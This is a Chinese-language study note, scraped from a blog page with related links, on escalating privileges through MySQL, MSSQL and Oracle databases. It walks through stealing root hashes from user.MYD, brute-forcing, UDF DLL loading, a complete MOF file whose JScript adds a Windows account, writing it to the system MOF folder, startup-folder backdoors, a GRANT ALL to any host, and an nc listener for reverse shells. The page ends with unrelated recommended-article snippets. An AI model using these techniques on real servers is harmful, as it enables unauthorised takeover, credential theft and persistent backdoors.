7.22-27MY&MS&ORA等SQL数据库提权
7.22-27MY&MS&ORA等SQL数据库提权

思路:在利用系统溢出漏洞无果情况下,可以采用数据库提权;
前提:数据库服务开启,且获得数据库最高权限账号密码;除Access数据库外,其他数据库基本都存在提权可能;
Mysql提权
思路: 服务探针-信息收集-提权利用-获取权限;
1、读取默认数据库配置文件;(了解其命名和查找规则)
sql data inc config conn database common include


2、读取数据库存储和备份文件(了解数据库存储格式及对应内容)
@@basedir/data/数据库名.表名.myd
思路:找到mysq'l安装路径下的,data文件夹中的user.MYD文件;
密码存储在mysql.user目录;

直接解密root密码,为root

3、利用脚本暴力破解(是否支持外联及如何开启外联)
默认root不直接外联;
思路: 将爆破脚本传输上网站服务器;
4、远程本地暴力破解,服务器本地暴力破解;
UDF提权(原理mysql调用系统命令函数)
首先:UDF(Userdefined function)是用户自定义函数;
1.mysql<5.1,导出目录c:/windows/system32
2.mysql=>5.1,导出数据库安装目录/lib/plugin;存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’
思路: 判断数据库版本,执行sql语句select version();,之后查看数据库安装目录,执行select @@basedir;
手工创建plugin目录或利用NTFS流创建;
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION'
创建udf参数命令create function cmdshell returns string soname 'moonnudf.dll'


MOF提权(基于mysql特性)
原理: 利用mof是windows系统一个文件(在 f),托管对象格式;
1、将mof上传至任意可读可写目录下;
利用代码如下
1 #pragma namespace("\\\\.\\root\\subscription")
2 instance of __EventFilter as $EventFilter
3 {
4 EventNamespace = "Root\\Cimv2";
5 Name = "filtP2";
6 Query = "Select * From __InstanceModificationEvent "
7 "Where TargetInstance Isa \"Win32_LocalTime\" "
8 "And TargetInstance.Second = 5";
9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; # 执行命令需修改
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };
2.用sql语句将文件导入;
slelct load_file ('上传目录')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
3、等待命令执行成功;
写入启动项(配合操作系统自启动)
win10启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
导出自定义可执行文件到启动目录配置重启执行;
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行;
启动项目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup写入后门;
此时若要利用msf进行攻击写入后门提权则必须先开启数据库外联;
GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password为账密
反弹shell(基于反弹特性命令)
思路:将数据库权限反弹至服务器中,监听服务器端口即可;
nc -l -p 5577
MSSQL提权,转至
[[2023.7.2-3-4Mssql xp_cmdshell提权]]
上述笔记包含 1.xp_cmdshell提权 和 2.sp_oacreate提权
3、沙盒提权
三、Oracle提权
jsp网站后门不需要提权,自带system
提权工具对应三种模式
1、普通用户
2、DBA用户
3、注入模式
7.22-27MY&MS&ORA等SQL数据库提权的更多相关文章
- SQL Sever提权
前言:渗透测试中提权是较为重要的环节,若以低权限身份进行后渗透,测试出的问题相对于高权限的质量会低很多,从一个普通用户,通过手段让自己变为管理员,也可利用操作系统或者应用程序中的错误,设计缺陷或者配置 ...
- MySQL数据库提权(一)
一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...
- Oracle数据库提权(dba权限执行系统命令)
0x01 提权准备 这里我们先创建一个低权限的用户test SQL> conn sys/admin123@orcl as sysdba; 已连接. SQL> create user tes ...
- Oracle数据库提权(低权限提升至dba)
0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...
- [转载]SQL Server提权系列
本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...
- 【汇总】数据库提权(mysql、mssql)
日期:2018-04-03 11:46:45 作者:Bay0net 介绍:利用 mssql 的 sa 账号提权.利用 MySQL 的 UDF 提权 0x01.mssql 提权 恢复 xp_cmdshe ...
- Oracle数据库提权
一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...
- mssql数据库提权(xp_cmdshell)
1.关于 "xp_cmdshell" "存储过程":其实质就是一个"集合",那么是什么样的结合呢,就是存储在SqlServer中预先定义好的 ...
- (数据库提权——Redis)Redis未授权访问漏洞总结
一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...
- mssql数据库提权
1.关于 “xp_cmdshell” “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写 ...
随机推荐
- 在Java中如何通过优化代码来节省内存
Java 程序的一个常见问题是高内存使用率,这会导致性能问题甚至崩溃.因此,需要使用内存节省技术来优化 Java 代码并减少内存使用非常重要. 选择正确的数据类型: 使用适当大小的数据类型可以避免不必 ...
- 10.2 web服务器
Web客户端和服务器之间的交互用的是一个基于文本的应用级协议,叫做HTTP(Hypertext Transfer Protocol,超文本传输协议).HTTP是一个简单的协议.一个Web客户端(即浏览 ...
- oeasy教您玩转vim - 42 - # 剪切进入
剪切进入 回忆上节课内容 上次我们了解到了各种寄存器 :reg 无名寄存器"" 数字寄存器"0-"9 行内删除专用寄存器"- 指定寄存器" ...
- 2024 暑假友谊赛-热身2 (7.12)zhaosang
E-E https://vjudge.net/problem/AtCoder-diverta2019_b 给你 a, b, c ,n就是问你有多少(ia+jb+k*c)等于n的答案i,j,k任意几个都 ...
- 如何使用ventoy安装操作系统
使用ventoy安装操作系统 vrntoy简介 简单来说,Ventoy是一个制作可启动U盘的开源工具. 有了Ventoy你就无需反复地格式化U盘,你只需要把 ISO/WIM/IMG/VHD(x)/EF ...
- python __del__() 清空对象
python __del__() 清空对象 python垃圾回收机制:当一个对象的引用被完全清空之后,就会调用__del__()方法来清空这个对象 当对象的引用没有被完全清空时,代码如下: class ...
- Jmeter边界提取器
组件路径:HTTP请求->右键添加->后置处理器->边界提取器 用途:边界提取器(Boundary Extractor)是放在Sample请求之后执行的,用于获取左右边界中间的所有字 ...
- 从C++看C#托管内存与非托管内存
进程的内存 一个exe文件,在没有运行时,其磁盘存储空间格式为函数代码段+全局变量段.加载为内存后,其进程内存模式增加为函数代码段+全局变量段+函数调用栈+堆区.我们重点讨论堆区. 进程内存 函数代码 ...
- 【MQTT】Mosquitto 入门案例
参考博主StoneGeek的文章 https://www.cnblogs.com/sxkgeek/p/9140180.html 之前接触的是在应用程序之间的消息中间件技术 RabbitMQ, Kafk ...
- 读论文《IMPALA: Scalable Distributed Deep-RL with Importance Weighted Actor-Learner Architectures》——(续)实验部分
论文地址: https://arxiv.org/pdf/1802.01561v2.pdf 论文<IMPALA: Scalable Distributed Deep-RL with Importa ...